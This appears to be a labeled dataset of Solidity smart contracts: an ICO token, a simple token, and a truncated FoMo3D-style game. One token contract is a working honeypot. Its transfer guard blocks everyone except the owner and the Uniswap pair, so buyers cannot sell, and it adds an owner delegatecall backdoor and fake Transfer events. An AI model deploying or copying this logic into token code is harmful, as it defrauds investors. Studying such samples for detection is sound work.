uint256 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 28000000 * (10 ** uint256(decimals));
struct Round
{
uint256 startTime;
uint256 endTime;
uint256 availableTokens;
uint256 maxPerUser;
uint256 rate;
mapping(address => uint256) balances;
}
Round[5] rounds;
address public wallet;
uint256 public weiRaised;
uint256 public runningRound;
function CrystalToken(address _walletAddress) public
{
wallet = _walletAddress;
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
rounds[0] = Round(1519052400, 1519138800, 250000 * (10 ** 18), 200 * (10 ** 18), 2000);
rounds[1] = Round(1519398000, 1519484400, 1250000 * (10 ** 18), 400 * (10 ** 18), 1333);
rounds[2] = Round(1519657200, 1519743600, 1500000 * (10 ** 18), 1000 * (10 ** 18), 1000);
rounds[3] = Round(1519830000, 1519916400, 2000000 * (10 ** 18), 1000 * (10 ** 18), 800);
rounds[4] = Round(1520262000, 1520348400, 2000000 * (10 ** 18), 2000 * (10 ** 18), 667);
admin[msg.sender] = true;
locked = true;
runningRound = uint256(0);
}
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event RateChanged(address indexed owner, uint round, uint256 old_rate, uint256 new_rate);
function() public payable
{
address beneficiary = msg.sender;
require(beneficiary != 0x0);
uint256 weiAmount = msg.value;
require(weiAmount != 0);
uint256 roundIndex = runningRound;
require(roundIndex != uint256(100));
Round storage round = rounds[roundIndex];
uint256 tokens = weiAmount.mul(round.rate);
uint256 maxPerUser = round.maxPerUser;
uint256 remaining = maxPerUser - round.balances[beneficiary];
if(remaining < tokens)
tokens = remaining;
require(areTokensBuyable(roundIndex, tokens));
round.availableTokens = round.availableTokens.sub(tokens);
round.balances[msg.sender] = round.balances[msg.sender].add(tokens);
balances[owner] = balances[owner].sub(tokens);
balances[beneficiary] = balances[beneficiary].add(tokens);
Transfer(owner, beneficiary, tokens);
TokenPurchase(beneficiary, beneficiary, weiAmount, tokens);
weiRaised = weiRaised.add(weiAmount);
wallet.transfer(msg.value);
}
function areTokensBuyable(uint _roundIndex, uint256 _tokens) internal constant returns (bool)
{
uint256 current_time = block.timestamp;
Round storage round = rounds[_roundIndex];
return (
_tokens > 0 &&
round.availableTokens >= _tokens &&
current_time >= round.startTime &&
current_time <= round.endTime
);
}
function tokenBalance() constant public returns (uint256)
{
return balanceOf(owner);
}
event Burn(address burner, uint256 value);
function burn(uint256 _value) public onlyOwner
{
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
function mint(uint256 _value) public onlyOwner
{
totalSupply = totalSupply.add(_value);
balances[msg.sender] = balances[msg.sender].add(_value);
}
function setTokensLocked(bool _value) onlyOwner public
{
locked = _value;
}
function setRound(uint256 _roundIndex) public onlyOwner
{
runningRound = _roundIndex;
}
function setAdmin(address _addr, bool _value) onlyOwner public
{
admin[_addr] = _value;
}
function setReceivable(address _addr, bool _value) onlyOwner public
{
receivable[_addr] = _value;
}
function setRoundStart(uint _round, uint256 _value) onlyOwner public
{
require(_round >= 0 && _round < rounds.length);
rounds[_round].startTime = _value;
}
function setRoundEnd(uint _round, uint256 _value) onlyOwner public
{
require(_round >= 0 && _round < rounds.length);
rounds[_round].endTime = _value;
}
function setRoundAvailableToken(uint _round, uint256 _value) onlyOwner public
{
require(_round >= 0 && _round < rounds.length);
rounds[_round].availableTokens = _value;
}
function setRoundMaxPerUser(uint _round, uint256 _value) onlyOwner public
{
require(_round >= 0 && _round < rounds.length);
rounds[_round].maxPerUser = _value;
}
function setRoundRate(uint _round, uint256 _round_usd_cents, uint256 _ethvalue_usd) onlyOwner public
{
require(_round >= 0 && _round < rounds.length);
uint256 rate = _ethvalue_usd * 100 / _round_usd_cents;
uint256 oldRate = rounds[_round].rate;
rounds[_round].rate = rate;
RateChanged(msg.sender, _round, oldRate, rounds[_round].rate);
}
function getRoundUserBalance(uint _round, address _user) public constant returns (uint256)
{
require(_round >= 0 && _round < rounds.length);
return rounds[_round].balances[_user];
}
function getRoundStart(uint _round) public constant returns (uint256)
{
require(_round >= 0 && _round < rounds.length);
return rounds[_round].startTime;
}
function getRoundEnd(uint _round) public constant returns (uint256)
{
require(_round >= 0 && _round < rounds.length);
return rounds[_round].endTime;
}
function getRoundAvailableToken(uint _round) public constant returns (uint256)
{
require(_round >= 0 && _round < rounds.length);
return rounds[_round].availableTokens;
}
function getRoundMaxPerUser(uint _round) public constant returns (uint256)
{
require(_round >= 0 && _round < rounds.length);
return rounds[_round].maxPerUser;
}
function getRoundRate(uint _round) public constant returns (uint256)
{
require(_round >= 0 && _round < rounds.length);
return rounds[_round].rate;
}
}
| 0 | 1,416 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BlueKirbyCunt {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
| 1 | 2,217 |
pragma solidity ^0.4.20;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;}}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; } }
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner]; }
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true; }
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender]; }
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;}
contract Mire is StandardToken {
string public name = "Mire";
uint8 public decimals = 4;
string public symbol = "MIR";
function Mire () {
balances[msg.sender] = 4*10**27;
totalSupply = 4*10**27;
name = "Mire";
decimals = 5;
symbol = "MIR"; }
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
}
| 1 | 3,981 |
pragma solidity ^0.4.24;
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
contract modularFast is F3Devents {}
contract FoMo3DFast is modularFast {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x1c52efF9C47fE419E3b269f5759d98d2072cC91A);
address private admin = msg.sender;
string constant public name = "FOMO Fast";
string constant public symbol = "FAST";
uint256 private rndExtra_ = 1 minutes;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 3 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 5 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXnameQR(address _realSender,bytes32 _affCode, uint256 _team)
isActivated()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePIDQR(_realSender,_eventData_);
uint256 _pID = pIDxAddr_[_realSender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCoreQR(_realSender, _pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function withdrawQR(address _realSender)
isActivated()
payable
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[_realSender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
_realSender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, _realSender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
